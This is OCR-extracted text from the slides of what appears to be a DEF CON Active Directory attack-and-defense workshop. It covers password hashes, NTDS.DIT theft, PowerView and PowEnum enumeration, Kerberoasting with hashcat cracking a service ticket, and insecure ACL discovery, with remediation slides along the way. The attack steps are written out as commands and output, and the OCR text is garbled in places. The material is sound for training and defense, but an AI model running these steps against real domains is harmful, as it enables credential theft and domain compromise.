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Todays Attacks (Time Permitting)

Lab 1
* Enumeration Of AD/Endpoint

e Lab 2

* Kerberoast
» Excessive Permissions (ACL/Delegated)

 Lab 3
* Group Policy Preferences (GPP) in SYSVOL
e Shared Local Admin
e Credential Theft From LSASS
 NTDS.DIT (Domain Hashdump)

e Lab 4
* Scripts In SYSVOL
* DCSync
* Golden Tickets




Todays Goal



1. Don’t get yelled at by your boss because you got
hacked.



2. Don’t get yelled at because you failed a Pen
Test.



The Days Of Password Guessing Is Over



Intro into Windows Passwords Hashes



Password:
Defcon25!

Password
Is
Converted
To A
Hash

LM Hash
B030447B5341D158CCA11EF
51AD1BAGB

NTLM
5020841A8F4AC6D7A3DA8BA96
3B665ECA7Y




Windows Password Hashes Contain No Salt

Company A Company B
Password: Defcon! Password:Defcon!




Only Password Hashes “Should” Be Used

Workstation
Coverts
User Log Into Password to
Workstation NTLM Hash
With The
Password
Defcon!

----------

Workstation

Active
Directory
Quires The
User To Find
Password Hash Hash
Is Transmitted
Over Network

NTDS.DIT
User
5020841A8FAC6D7A3D

Active Directory A8A963B665ECAT



NTDS.DIT File Contains All Of The Password Hashes

For The Domain

D1 TOBETE
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What does it mean
when you see users
with the same
password hash?




ss passwords

Why we don’t need to gue

Servers Calculate

HaSheS Hash Lookup
. Hash Database or 5020841A8F4C6D7A
Eve ry Possible Rainbow Table 3DABA963BE65ECAT

Combination 10
>

Character Password




Why we don’t need to guess passwords

Free XP Rainbow tables Free Vista Rainbow tables

Th tabl be dt K Wind Vist d7 ds (NT hashes).
These tables can be used 1o crack Windows XP passwords (LM hashes). They CANNOT crack Windows Vista and 7 ese tables can be used to crack Windows Vista and 7 passwords (NT hashes)

passwords (NT hashes).

vista_proba_free(600MB)

mixedalphanum

1. S5ec15G8 aphanum
numbers vista_num(3GB)

maedaiphanum 9. e smal(S30ME) wnd xp. Iree_ last703ME)
dictionary based vista_free(461MB)
5‘6 7 8‘9|10|II 112‘13 14 15\16
5 6 7 8 9 10 1" 12 13 14 15 16
All free XP tables (17.0GB)
Torrecit downioad e All free Vista tables (11.9GB)
Torrent download
Thanks for seeding Thanks for seeding




Attacker: Why Not Just Steal A Copy Of NTDS.DIT?



Defender: Making A Copy Of NTDS.DIT Is Hard

 NTDS.DIT is a locked file by LSASS process so you cant just copy

IT
* |f you tamper with the LSASS process on a domain controller

you could crash it
 NTDS.DIT is encrypted so you cant just open it



Attacker: Volume Shadow Copy...FTW!






Marketing Properties N T
General | Secusity anhn\htﬁn'wl
@ To view a previous version of a folder, select the

version from the following kst and then chick View.
You can siso save a foldes to a diferert location or

restore a previous version of & foldes.

Folder versions:
Nijgy se—)| | T Te— e —]
) Marketng Today, Febeuary 05, 2003, 7.00 AM
) Marketing Yestesday. Febeuary 04, 2003, 1200 PM
I Maketng Yesteeday, Febeuary 04, 2003, 10:57 AM
L Marketing Yesteeday, Febeuary 04, 2003 1050 AM
L Marketng Thursday, Jarssary 23, 2003, 1200
I Marketng Thursday. Jarssary 23. 2003, 7.00 AM

Requestor @ Volume Shadow

(Backup Utility) <: Copy Service

(VSS)

Writer
(Application)

4

Provider
(Storage software
or hardware)

Storage

7
G

Storage




NTDS.DIT " Syskey
C:\Window\NTDS QYR e Registry

User Hash







Lab 1

Attacking the NTDS.DIT



Lab 1 Remediation

Stopping LAN Manager



Lab 2

* The more you know the quieter you can be



Attacker: You know why | like to drive in through brand
new expensive neighborhood?



Defender: No Idea



Attacker: Because no one can afford blinds or curtains so |
can see inside everything



"

‘U Active Directory




Active Dlrectory Fnumeration (The GUI

Method)

File Action View Help

e« 2Eo0EBcz Hm PaEaTva%

] Active Directory Users and Com
b | Saved Queries
4 33 defcon.local
p L Builtin
p | Computers
p 2] Domain Controllers
p | ForeignSecurityPrincipal:
p (@] Groups
p || Managed Service Accour
] Users

< I_ m |

Name

1 Builtin

| Computers

2| Domain Controllers

_| ForeignSecurityPrincipals
21 Groups

| Managed Service Accounts
1l Users

Type
builtinDomain
Container

Organizational...

Container

Organizational...

Container
Container

Description

Default container for upgraded compute...
Default container for domain controllers
Default container for security identifiers (...

Default container for managed service ac...
Default container for upgraded user acco...




PowerShel

System Ac

DistinguishedName :
: True

Enabled
GivenName

Name
ObjectClass
objectGUID
SamAccountName
SI1D

Surname

UserPrincipalName :

DistinguishedName :
: False

Enabled
GivenName

Name
ObjectClass
ObjectGUID
SamAccountName
SID

Surname

UserPrincipalName :

DistinguishedName :
: False

Enabled
GivenName

Name
ObjectClass
ObjectGUID
SamAccountName
SI1D

Surname

UserPrincipalName :

DistinguishedName :
: True
: John

: John Doe
- 1H<er

Enabled
GivenName

Name
OhiertClacc

Active Directory Module Cmdlet
min Method

PS C:\Users\defconadmin\Desktop> Get-ADUser -Filter * -SearchBase "DC=defcon,DC=local"

CN=defconadmin,CN=Users ,DC=defcon,DC=local

: defconadmin

: user

: be651037-d636-45e5-8051-a29b078dd602

: defconadmin

: S-1-5-21-2367485406-3548604118-1071533684-500

CN=Guest,CN=Users ,DC=defcon,DC=local

: Guest

I user

: 4d172d8a-1a7e-4b85-911f-ee4595843484

: Guest

: 5-1-5-21-2367485406-3548604118-1071533684-501

CN=krbtgt,CN=Users ,DC=defcon,DC=local

: krbtgt

1 user

: 403f146a-277c-426c-8605-dc84664966ca

: krbtgt

: S-1- 5 21-2367485406-3548604118-1071533684-502

CN=John Doe,CN=Users ,DC=defcon,DC=1ocal

e

““‘jk‘a‘-a.‘;“___i
S

e o e —
e —
——————————

\.

Requires install of AD PowerShell modules https://technet.microsoft.com/en-us/library/ee617195.aspX



https://technet.microsoft.com/en-us/library/ee617195.aspx

PowerView (@harmjOy) (Hacker Method

a;f;ak;&%1n Desk

logoncount
badpasswordtime
description
[distinguishedname
objectclass
[lastlogontimestamp
jname )
lobjectsid
|samaccountname
|logonhours

laden ncount
lcodepage
[samaccounttype
laccountexpires
lcountrycode
whenchanged
[instancetype
lobjectguid
[lastlogon
[1astlogoft
lobjectcategory
Kdscorepropagationdata
memberof

whencreated
[iscriticalsystemobject
badpwdcount
lcn

seraccountcontrol
lusncreated
lprimarygroupid
ppwdlastset
iusnchanged

vdlastset
|logoncount
badpasswordtime
description
distinguishedname
ectclass

NErOANTARANOHCOM

e —————
1ew> Import-Module .\Powerview.psl
view> Get-DomainUse

op\Pow
\Desktop'\Pow

o

: 1/1/1601 12:00:00 AM

: Built-in account for administering the computer/domain
: CN=defconadmin,CN=Users ,DC=defcon,DC=local

op, person, organizationalPerson, user}

H 2017 12:41:58 AM

: defconadmin

: 5-1-5-21-2367485406-3548604118-1071533684-500
: defconadmin

: {255, 255, 255, 255...}

:00:00 AM
/2017 12:54:21 AM

e65f037-d636-45e5~8051~-a29b078dd602
/30/2017 2:27:13 PM
1601 12:00:00 AM
erson,CN=Schema,CN=Configuration,DC=defcon,
017 12:54:21 AM, 6/27/2017 12:54:21 AM, 6
N«Group Policy Creator Owners,CNeUsers,DC«defcon,DC=loc:
mins ,CN=Users ,DC=defcon,DC=1ocal, CN=Enterprise Admins,(
=Users,DC=defcon,DC=Tocal...}
/2017 12:38:03 AM

: defconadmin

: NORMAL_ACCOUNT
: 8196

: 513

: 6/25/2017 9:00:
: 12799

: 1/1/1601 12:00:00 AM
: 0

: 1/1/1601 12:00:00 AM
: Bu
: CN=Guest,CN=

t-in account for guest access to the computer/domain
sers,DC=defcon,DC=local
{top, person, organizationalPerson, user}

: Guest

Ihttps://github.com/PowerShellMatfia/PowerSploit/tree/master/Recon|



https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon

Eé'éfxaééks\defconadmin\Desktop\PowEnum> Invoke-PowEnum -Mode Basic -NoExcel
[>IDownloading Powerview | https://raw.g. i oo Cicoiiicoion,TonoiZinaria

Enumeration Domain: defcon. local
Enumeration Mode: Basic

[ JDpomain Admins | 2 Identif
JEnterprise Admins |

1Builtin Administrators I
JA11 Domain Controller Local Admins

1Schema Admins | 1 I

JAccount Operators

]Backup Operators | O

JPrint oOperators | C

]Server Operators |

]Group Policy Creators Owners

]Cryptographic Operators | 0

JAD Group Managers | 0 Identified

JAT1 Domain Users (this could take a while) |
JA1T Domain Groups (this could take a while) |
INet Sessions | 0 Identified

]Domain Controllers | 1 Identified

JA11 Domain Computer IP Addresses |

]Domain Subnets | 0 Identif i

1DNS Zones & Records | Identified

JWinRm (Powershell Remoting) Enabled Hosts | 0 Iden
JPotential Fileservers | 0 Identified

JA11T Domain Computers (this could take a while)
Running Time: 2s

Current Date/Time: 07/06/2017 01:03:17

Exiting...

L s | s | s e ¥ s s s | s ¥ s e s | s | s | s | | e ¥ s Uy | | |

AND N
Ihttps://github.com/whitehat-zero/PowEnum| el 128 PLGA:



https://github.com/whitehat-zero/PowEnum

Lab 1 - Recap

* Enumeration
* Active Directory Users and Computers
e PowerShell
* PowerView
* PowEnum

* Overall Takeaway
* Live off the land
* More you know the quieter you become




Defender: | feel a little violated ... but your
information is more detailed than my
documentation. Can | get a copy?



Remediation For Lab 1

* Does every user need to know every object in Active Directory?
* Does everyone need to know who a member of Domain Admins?

Global Administration Properties Ii-

General Managed By | Object Security | COM+ Atribute Editor

Group or user names: ¢+ Command Prompt 7

2, Everyone

m >

82, SELF
82 Asherticated Users >DSACLS ""OU=newOl,DC=root,DC=net"”
82 SYSTEM Access list: . .
R sharepoint service (sp_svc@defcon local) Effective Permissions on this object are:
u'j Domain Admins {'DEFC-ONK.Domaln Admins) v Allow ROOI\DO nain ﬂdn ins : FULL CONTROL
, Allow NT AUTHORITYNENTERPRISE DOMAIN CONTROLLERS SPECIAL ACCESS
Add.. || Remove READ PERMISSONS
LIST CONTENIS
Pemissions for Authenticated Users Allow READ PROPERTY
Full control ] LIST OBJECT
Read v Allow NT AUTHORITY\Authenticated Users SPECIAL ACCESS
Write ' READ PERMISSONS

LIST CONTENIS

READ PROPERTY
. P—— ‘ N LIST OBJ_ECT

,Fkg:/sa?_'ecggl‘oemlwons or advanced settings, click @ 2 {luu NT AUTHORITYN\SYSTEHM FULL CONTROL

\
Create all child objects [
Delete all child objects [

low ROOT\ADM-ROOT-UiewAllObjects SPECIAL ACCESS {Inherited frid

oK || Ccancel |



Remediation For Lab 1

* Controlling who has the ability to discover sessions running a host

HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/LanmanServer/DefaultSecurity/SrvsvcSes

sioninfo
a Registry Editor
File Edit View Favorites Help
5 - ) kdnic A || Name Type Data
e I Keylso “ (Default) REG_SZ (value not set)
i~ KSecDD %3 AnonymeousDescriptorsUpgraded  REG_DWORD 000000001 (1)
- :i:‘::f 23 InteractiveDescriptorsRegenerated  REG DWORD 0x0)000002 (2)
: e :. PravicusAnonymousRestriction REG_DWORD 0x00000000 (0)
3] SessionSecurityDescriptorRegenerated REG_DWORD 0x00000001 (1)

i \, LanmanServer

<

>

<

- Alases ) Srmc(g::f;goqg%etspm"mrr oo, REG_BINARY 01 00 04 80 a0 00 00 00

| AutotunedParam %3 SrvsveConnection REG_BINARY 0100 04 80 7c 00 00 00

. DefaultSecurity 3 SrsveFile REG_BINARY 01 00 04 80 64 00 00 00
| Linkage 8] SrvsvcServerDiskEn REG_BINARY 01 00 04 804c¢ 00 00 00
i p.J Parametess REG_BINARY 01 00 04 8078 00 00 00
. ShareProviders 23 SrvsvcShareAdminConnect REG_BINARY 01 00 04 8072 00 00 00
. 4 ). Shares #3) SrvsvcShareAdmininfo REG_BINARY 0100 04 80 8¢ 00 00 00
i . Security $3|SrvsveShareChange REG_BINARY 0100 04 80 a4 00 00 00
b~ LanmanWorkstation $3) SrvsvcShareConnect REG_BINARY 01 00 04 80 8c 00 00 00
b Idap 23] SrvsvcShareFielnfo REG_BINARY 0100 04 80 b4 00 00 00
b Mfsve 23] SrvsvcSharePrintinfo REG_BINARY 0100 04 80 cc 00 00 00
b-ig Mo 3 Srvsvestatisticsinto REG_BINARY 01 00 04 80 60 00 00 00
b ltdsve 8) SrvsvcTransportEnum REG_BINARY 01 00 04 80 8¢ 00 00 00
b - 4 Imhosts

Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity

| pr— |



Lab 2

* Kerberoasting: Beating the three headed dog



Kerberoast Agenda

* What is Kerberos

* What is a SPN

* How do you request a TGS

* Invoke-Kerberoast / PowEnum Roasting
* Cracking with Hashcat




Kerberoast — What Is Kerberos

Domain Controller
KDC
Authentication Ticket Granting
Service (AS) Service (TGS)
<3
t»
Local Security
Authority
@ Authentication Request
(5) Ticket Request
Workstation I Server
v \
i s
th 4
Local Security Local Security
Authority Authority
@ Logon veer Acquire
(® Acquire Credentials
Credentials Handle
Handle Accept
@ Initialize Security
Security Context
L Context @ Request
O <
Response
Client




Kerberoast — What is a SPN

* ASPN is a unigue name that identifies an instance of a service.

e A SPN is associated with the user account under which the service
instance runs.

* SPN = serviceclass “/” hostname [“:"port] [“/” servicename]
e MSSql Server: MSSQLSvc/SQLO1.defcon.local:1433



Kerberoast — Requesting a TGS

KERBEROS TICKET EXCHANGE

KEY DISTRIBUTION
CENTER (KDC)

Authertication  Ticket Gr
Service (AS) Service aca

= \ 3
&t . ) .

:‘2 }\H s/'Vll l-lenumyTG;icgvcmca&rvwe
e -

Here is your Service Ticket

USER LOGINS 5
TO GAIN Here is my Service Ticket,
NETWOK Authenticate me
ACCESS

6
Client/Server Session




Kerberoast — Requesting a TGS (Powerview

PS C:\Users\andrew\Desktop\Powerview: Import-Module .\Powerview.psl

PS C:\Users\andrew\Desktop\Powerview: Invoke- Kerberoast OutputFormat Hashcat -Verbose | f1
[Get-DomainSearcher] search | ssadismas faabhncladafsanalasnl/25adaf ton,DC=1ocal
[Get-DomainUser] Searching for non-null service principal names

[Get-DomainUser] filter string: (&(samAccountType=805306368) (servicePrincipalName=%))

VERBOSE :
VERBOSE :
VERBOSE :

SamAccountName
DistinguishedName

ServicePri
Hash

sqldemo_svc

: CN=sql demo,CN=Users,DC=defcon,DC=1ocal
ncipalName :

MSSQLSvc/SQLSRVO1.defcon. lTocal
$krb5tgs$23%*sqldemo_svc$defcon. Tocal $MSSQLSvc/SQLSRVO1 . defcon. Tocal*$DEOIFEC67C738A53BD2015DC12

" AEA9B8$D5F4D4A34778AC41D02293396118291049717BD54DC5DC6864BB7 288D30DB83386F 18A3648304DD5DIE IFCCEL

64C250591F2D011181615DE9A692D4 524687 3DCFB5F0A76B65A0312A4A9D97BB46C6CEICF3E7650337B448F40DB6D2A4
5D292FC299F9A341D198A2CF3BCAL68F68CB562DAGES5576B28E6C2641ADI9F2DESAGO6S8AACD1BIB44/7/B97669E8877ECS
025A29303173DE271EF7CB60ACBO3BA91CF53A3483BDF5522CF83DCB2B310077AEAF2ADF72E049376E176C4FD884DC52
D/BBB8639D811CA91F771CF0314D8170D0DA2B2B47ECAAOFCED9052282B7839512D977577FFFFADA49A348E3729EA9GA
B7A69E2B1B3ABB3C/5C446B75B13183057379F9F5C1EF97E101FAAO84FD5F253391464DA7 2D89A614C231B6E6GDSD5B57
5751EBBF58ADA578B65EB885D9609C6A44770EC681F618E2CFFBFFD039A460138DB74FE637E17/08106BA9D6E398398C1
99B55AE6C61AD7217433F144E10198DD7CD2389611698D5A151F73E7 3ECAF4A46F59AF6F5A802C2785C3FF12C3F4ESD0
34A2D3BASFFC48D8F0607A9AB5C6BOED3459D3A24DF7 0ACD5AB56044E572B4A95A7BFF6D5FAFD890DCD2F79595A07C50
A51693BAC33914D5F38BC8170AF956ABEDCAB37977BF038AE5A416998733673B112221845020FF776AAC04E409606B46
75859DF782B4AFB8715A5B2AFD52F8FD276CFDBEA3AS8EBCI907B82AD79507295B864066044C9662896D8FDECH6DF885CH
D43F93C30B47518EE28E28D3A4483D6A510C9971A580C2A76BD4EDOAB845957A005EE/ 5A35A9C8EA9CF3ECF64D276277
E20F5BA41AB7116E6082B92BB4439A42CB8672B53698DDCCE/1494210427DB57F6D6DBEBEF817CD7 94F2D8A138208FF2
CE07E298C386B3205713C0489297352200CB62A0BB8E2160E342348632F1D50B186CF89E2F1ACBI9B86B2037EC36C8A0B
DFB1DOSECF12D8C34F6389BE9757A740E5DB5ADSF96FF2679789728EEE/ESE2568FF7 6DESDDI0DB7E81A2A2CES064680
D3907F3A3E976317821B24C191BF4B386BC/2917/69C7A58F8765D6E50C2EDBABI26CA9B27152086A085F7BA0474A1586
E74DD67BDDCF96E5EB963EDDOBB2D5A0A97024E65CC3F066F280FFB56DD5351602FB5FE2A34C302B54DF4B7 2C66C92FF
6523586FEOE/ D7 8F3A848BF7B17199D98F2B189DCBC5201A91E20213140308A2F1EAECCH6007667A5A4D249CD97 A7 1FE4
BBA71BC60132B09D9CH6FID4E36408486E32D07E1448B3B399827B27A997FFE6AOCO685F586A4306BBD7 5SEB7 0A560BA64
FBB6BD8CD177D06B9C2FD1C41841C6FE434D5CF4B19B5CCE962790720973D5B2DCH6AB27D8302CC57308C8912C913D7 35
C621ABFDD4666108DF04FDDDE9C2A18A55304144B349298AAB88C8C30D976FF86040FA6D3A295A34101F0DD04DDF2667
DOCBB0833B7235767CD1FC11F3C9B1817D727AF82C223E45508927BCBBB8F7FD101C03F743C5148B14E4AB6BD3B63143
1A57EBFI9CF8EB3EBCF832084112ADEG2F

PS C:\Users\andrew\Desktop\Powerview> _



“— C | & Secure

#requires -version 2

function Invoke-PowEnum

{ <
<# Reload trl+F
.SYNOPSIS
exports Save as... Ctrl+S bns and combines the output into a single .x14

Fo— T —

6/30/2017 2:38 PM Windows Powers... 26 KB]

Home Share View

.. Favorites
B Desktop




Kerberoast — Requesting a TGS (PowEnum)

IPS C:\Users\defconadmin\Desktop\PowEnum> Import-Module .\PowEnum.psl

PS C:\Users\defconadmin\Desktop\PowEnum> Invoke-PowEnum -Mode Roasting -NoExcel

What do you see?



PS C:\Users\defconadmin\Desktop\PowEnum> Import-Module .\PowEnum. psl
PS C: \Users\defconadm1n\Desktop\PowEnum> Invoke PowEnum Mode Roast1ng 5NoExce1

[>-]Down'load1ng Powerview I https //raw g FUiupUuSci CuliLerie. LUIII/ FUWCI SIIC | IVidl 1d/ FUW
Enumer’atw on Domain: defcon. local

Enumeration Mode: Roasting
[>]Downloading ASREPRoast | https //raw g1thubusercontent com/HarmJOy/ASREPRoast
r -

~~ _\4_ﬂ~_‘,_

1Acnrn.-.n—”—+ f1nl-..-. rn.-.m—\+\ I

———

— o — ———— N o

I[ ]Kerberoast (Hashcat Format) | L Identified

RUNNTNg 1T1me: Us
_urrent Date/Time: 07/06/2017 02:45:52

Exiting...

_ | defcon_2_Kerberoast.csv

1y S sa g~y

""" 7/6/2017 2:45 AM CSV File 3 KB

ServicePrincipalName Hash

SamAccountName DistinguishedName
MSSQLSvc/SQLSRVO1.defcon.local  Skrb5tgs$23$*sqldemo_svcSdefcon.localSMSSQLSve/SQLSRVO1.defcon.local*$969168E80

sqldemo_svc CN=sqgl demo,CN=Users,DC=defcon,DC=local




Cracking with Hashcat

Part of the service ticket is encrypted with the NTLM hash of
the target service instance

I praetorian-inc / HobORules
<> Code Issues 1 Pull requests 0 Projects 0 Wiki
h a S h Cat Password cracking rules for Hashcat based on statistics and industry patterns
P 13 commits 1 branch
advanced
p a S S W O P d Branch: master « New pull request
recovery
& hob0 Merge pull request #1 from amlweems/unicode-fix -
i wordlists wordlists added
E) READMEmd Replace unicode hyphens with regular hyphens
£) d3adhobO.rule Added lowercase rules back in / updated readme
- ; E) hob064.rule Changed title
https://hashcat.net/wiki/doku.php?id=oclhashcat
README.md



https://hashcat.net/wiki/doku.php?id=oclhashcat

Cracking with Hashcat

13100 | Kerberos 5 TGS-REP etype 23 | Network Protocols",

defconadmin@LabKali:~/rules$ hashcat -r hob064.rule -m 13100 hashes/kerb test.txt rockyou.txt -o cracked kerb.txt --force
hashcat (v3.30) starting...

NVIDIA: no NVIDIA devices found
OpenCL Platform #1: The pocl project

* Device #1: pthread-Intel(R) Xeon(R) CPU E5-2673 v3 @ 2.40GHz, 2047/5228 MB allocatable, 2MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 64

Applicable Optimizers:

* Zero-Byte
Not-Iterated
Single-Hash
Single-Salt

Watchdog: Hardware Monitoring Interface not found on your system
Watchdog: Temperature abort trigger disabled
Watchdog: Temperature retain trigger disabled

* Device #1: build opts '-I /usr/share/hashcat/OpenCL -D VENDOR ID=64 -D CUDA ARCH=0 -D VECT _SIZE=4 -D DEVICE TYPE=2 -D DG¢
DGST_R3=3 -D DGST_ELEM=4 -D KERN_TYPE=13100 -D _unroll -cl-std=CL1.2"
* Device #1: Kernel m13100 a0.c145014c.kernel not found in cache! Building may take a while...




bk ke N

Cracking with Hashcat

defconadmin@LabKali:~/rules$ cat cracked kerb.txt

$krb5tgs$23$*sqldemo_svc$defcon. Local$mMsSULSVC/SULSRVO1. defcon. local*$b93da8a397567e746128dc68319da302%$eb567ba969b406b3eb158cb71d1k
e05399b4e045787d36919f277419f0b151430c0583e2802aa63dd4229679a5df4bb5ded273db049a0fa7a75e24eeb765830cb716533a62f5772ddef687933d1584:
5b3abef90b4087679c792a866577a9fa705ba8f02f98791ad58ac f66870b4be7613246d30d3345ala9eeb7d16ea830a93373424adad9359e10dd86851caa7776b24
1216calbfebd615ccd26ef787fb6a7077825cb8feb07205b71b9cf3fd8ad82e9576396896e5c46fa39d1d756c529b1dada3b5317bbadab26a5cceab04c0683ccac
504befae77f173e1b0022465ce4734111789a2d6ee68bb60735e11de5fc0a2c6580cect8ccf64f37edf7e9123d2e517314b331b4f514chbeafb6d6bf339eb231196¢
21fc876ee942784a49770078f74d3f151cfab7e2el10aba2c6e4221863921a740c5834b42f0f04bb678592734df89be89c02ce945339897c93d009abd2b92e3ala7t
9ee5a3e3f7627c09a50e5b54f0ad0de5ee089869870e2a399b88322d0882962b57cb08aca77e2174bee902c42aed236e02c2b866dcele®91c6c3fdOa8a24b861dc28€
8c650baec7f3ad242e5alca79247d3459185bdfcd7a874df9bd6ce033a419dd147741c561973978fc48e71755db0e3711f6ff01e86ac8d4088506b6035cc2e2eff7
c147a32f17b2c1c83412bf4bcf7176f5a868121022b876T87b9ba585b8c8d3debe3312c03ef0d72c7142ee368390107869b3103964f47ea2dae2399e8efc442874c
abe0161dd3ee87372253376874124e27ct1a73578ct5948c213da701a73685f7ab3a4d415da85d982f4d609e26310a81a7417e69b08al991fe79a32al160d1a05624
d02be24e3003d91c95679ab90362dd4ed6700138c4bfeb452461588cd79al0ca264d32dafc56523490fe58da530fb9b513297dcc95808dd78d72181f2a79b8db84 1
3ce6433be8faadb5c0e90fa259fd994ba502092d11108a76d418023af546c1f76bad1885b45074390218a037b4790fadd46fa57923303e34e57cclel750e46bb9]
38680e63133def206297811b4c20045522456c f5d4bb6eb29442f6f1da790f489e189822d641811078892d6T3d853ad206daf5e67f2e61def1c9799d90f7d9079be
eb9e0b096ea040632c0718265d4c848a7b68830063a407aa52f65db3196e9ch96ceabad8fbb2228955620793c7f57e8fald5bfb0f671albb7 fdedcAs2ad20£7250¢
baff160dfed722bd942b8961ff758c6169c87c90e5336Tf1242e789c0f8ed42e4a67e1418113a3fe0a3a410532272ce0054df0468ef248f919cachc :Skittlesl
defconadmin@LabKali:~/rules$ [




Abusing Insecure ACLs Agenda

* What is an ACL
* Objects access vs. system access

* How To Identify Insecure ACLs
» Attacking an Insecure ACL

defcon.local Properties

| General | Managed By | Object | Security | Attribute Editor |

Group or user names:

? X

|

(9

Advanced Security Settings for defcon

Owner:

Administrators (DEFCON\Administrators) Change

Permissions

For additional information, double-click a permission entry. To modify a permission entry, select the entry and click Edit (if available).

Auditing I Effective Access

Permission entries:

Type  Principal Access Inherited from Applies to A
82, Deny  Everyone Delete all child objects ~ None This object only
3?‘ Allow  Cloneable Domain Controller... Allow a DCto createa.. None This object only =
3?‘ Allow  Enterprise Read-only Domain... Replicating Directory ...  None This object only
82, Allow  Domain Controllers (DEFCO...  Replicating Directory...  None This object only
& Allow  sharepoint service (sp_svc@d... Replicating Directory... None This object and all descendan...
& Allow  sharepoint service (sp_svc@d... Replicating Directory... None This object and all descendan...
& Allow  sharepoint service (sp_svc@d... Replicating Directory... None This object and all descendan...
82 Allow  ENTERPRISE DOMAIN CONT... None Descendant Computer objects
82 Allow  ENTERPRISE DOMAIN CONT... None Descendant Group objects
82, Allow  ENTERPRISE DOMAIN CONT... None Descendant User objects
82 Allow  SELF None Descendant Computer objects >
g2 au Bdiemiamibnmm e [OEECARD A PSS -V A T ik el

Add Remove View

oK || Cancel | Apply




Abusing Insecure ACLs — What is an ACL

* An access control list (ACL) is a
list of access control entries
(ACE).

 Each ACE in an ACL identifies a
trustee and specifies the access
rights allowed, denied, or
audited for that trustee.

* The security descriptor for a
securable object can contain
two types of ACLs:

 Discretionary access control list
(DACL)

e System access control list (SACL)

defcon.local Properties

? X

| General | Managed By | Object | Security | Attibute Editor |

Group or user names:

Owner:

Advanced Security Settings for defcon

Administrators (DEFCON\Administrators) Change

Permissions

Auditing Effective Access

For additional information, double-click a permission entry. To modify a permission entry, select the entry and click Edit (if available).

Permission entries:
Type  Principal Access Inherited from Applies to A
2, Deny  Everyone Delete all child objects  None This object only
82, Allow  Cloneable Domain Controller... Allow a DC to createa... None This object only =
82, Allow  Enterprise Read-only Domain... Replicating Directory...  None This object only
82, Allow  Domain Controllers (DEFCO...  Replicating Directory...  None This object only
2 Allow sharepoint service (sp_svc@d... Replicating Directory... None This object and all descendan...
2 Allow sharepoint service (sp_svc@d... Replicating Directory... None This object and all descendan...
L 2 Allow sharepoint service (sp_svc@d... Replicating Directory... None This object and all descendan...
82, Allow  ENTERPRISE DOMAIN CONT... None Descendant Computer objects
82, Allow  ENTERPRISE DOMAIN CONT... None Descendant Group objects
2, Allow  ENTERPRISE DOMAIN CONT... None Descendant User objects
82, Allow  SELF None Descendant Computer objects
92 au A btk mm LOEECARS Al Dol mmkion e Dimm mi Thie i M

Remove View

Restore defaults

oK || Cancel I Apply




[l » ADACLScanner

v C,‘ ‘ Search ADACLScanner

ces

Name Date modified

I src 7/7/2017 11:08 PM
«4 ADACLScan 6/30/2017 1:38 AM

Type Size

File folder

Windows Pow

ey

indows PowerShell
opyright (C) 2014 Microsoft Corporation. All

rights reserved.

PS C:\Users\demouser\Desktop\ADACLScanner> .\ADACLScan.psl

(7]

Connect Forest Info | Connection Info

AD ACL Scanner

Advanced

@® Domain O Config (O Schema (O Custom
Server: Port:

Naming Context: [[] Credentials

Scan Options I Additional Options | Default SD ‘

Compare |Filterl Effective Rightsl

Scan Type

® DACL (Access) O SACL (Audit)
[C] RAW SDDL
Scan Depth

® Base

O One Level O Subtree

rootDSE
| Connect | l List Domains l
Browse Options
[ ® 0uU's O All Objects [ ] Show Deleted l

Objects to scan

@® OUs O Containers O All Objects

rNodes

O (objectClass=*

View in report

[] View Owner [[] DACL Size

[[] Inherited [[] Inheritance
Permissions Disabled

[] Skip Default [] SD Modified date
Permissions

[] skip Protected [[] ObjectClass
Permissions

Output Options

® HTML O HTML and CSV file
| O csviile
| [[] Translate GUID's in CSV output

CSV file destination
C:\Users\demouser\Desktop\ADACLScanner

Change Folder,

["] Enable Compare

You can compare the current state with
a previously created CSV file.

CSV Template File

Select Template
Use nodes from template
Faster compare using USNs of the
NTSecurityDescriptor. This requires that your
template to contain USNs.Requires SD Modified
date selected when creating the template.

Replace DN in file with current domain DN.
E.g. DC=contoso,DC=com
Type the old DN to be replaced:

Replace principals prefixed domain name with
current domain. E.g. CONTOSO
Type the old NETBIOS name to be replaced:

Download CSV templates for comparing with
your environment:

Download CSV Templates

Abusing Insecure ACLs - How To ldentify
Insecure ACLs



Abusing Insecure ACLs - How To ldentity

Insecure ACLS

Connect Forest Info | Connection Info

@® Domain O Config (O Schema (O Custom

Server: Port:

Naming Context: [[] Credentials

Browse Options

Advanced

Scan Options I Additional Options | Default SD l

Compare IFiIterl Effective Rights

® ou's O All Objects [ ] Show Deleted

__ Domain Controllers

@ ForeignSecurityPrincipals
" Groups

_ HelpDeskUsers

@ Managed Service Accounts

@ Program Data

@ System

@ Users

Scan Type

® DACL (Access)
[] RAW SDDL

O SACL (Audit)

Scan Depth
O Base

Objects to scan

View Owner

[] Inherited
Permissions

Skip Default
Permissions

Skip Protected
Permissions

[] DACL Size

[] Inheritance
Disabled

[] SD Modified date|

ObjectClass

ranslate GUID's in CSV output
CSV file destination
C:\Users\demouser\Desktop\ADACLScanner

Change Folder

["] Enable Compare

You can compare the current state with
a previously created CSV file.

CSV Template File

Select Template

[] Faster compare using USNs of the
NTSecurityDescriptor. This requires that your
template to contain USNs.Requires SD Modified
date selected when creating the template.

[] Use nodes from template.

Replace DN in file with current domain DN.
E.g. DC=contoso,DC=com
Type the old DN to be replaced:

Replace principals prefixed domain name with
current domain. E.g. CONTOSO
Type the old NETBIOS name to be replaced:

Download CSV templates for comparing with
your environment:

|Down|oad CSV Templates




Abusing Insecure ACLs - How To ldentity

Insecure ACLS

Connect Forest Info | Connection Info

@® Domain O Config (O Schema (O Custom

Server: Port:
Naming Context: [[] Credentials
rootDSE

I Connect | I List Domains |
Browse Options

[ ® 0oU's O Al Objects ["] Show Deleted

4 Ei DC=defcon,DC=local
@ Computers
__ Domain Controllers
@ ForeignSecurityPrincipals
" Groups
__ HelpDeskUsers
@ Managed Service Accounts
p @ Program Data
p @ System

@ Users

8

B 7

SSmeemeell | Additional Options [Pefault SD

Compare |Fi|terl Effective Rights

CSV to HT
This file will be converted HTML:

Select CSV|
[] €svV file do not contain object GUIDs
Access Rights Criticality
Show color coded criticality

Use colors in report to iaenuty criticality level of
permissions.This might help you in implementing
Least-Privilege Administrative Models

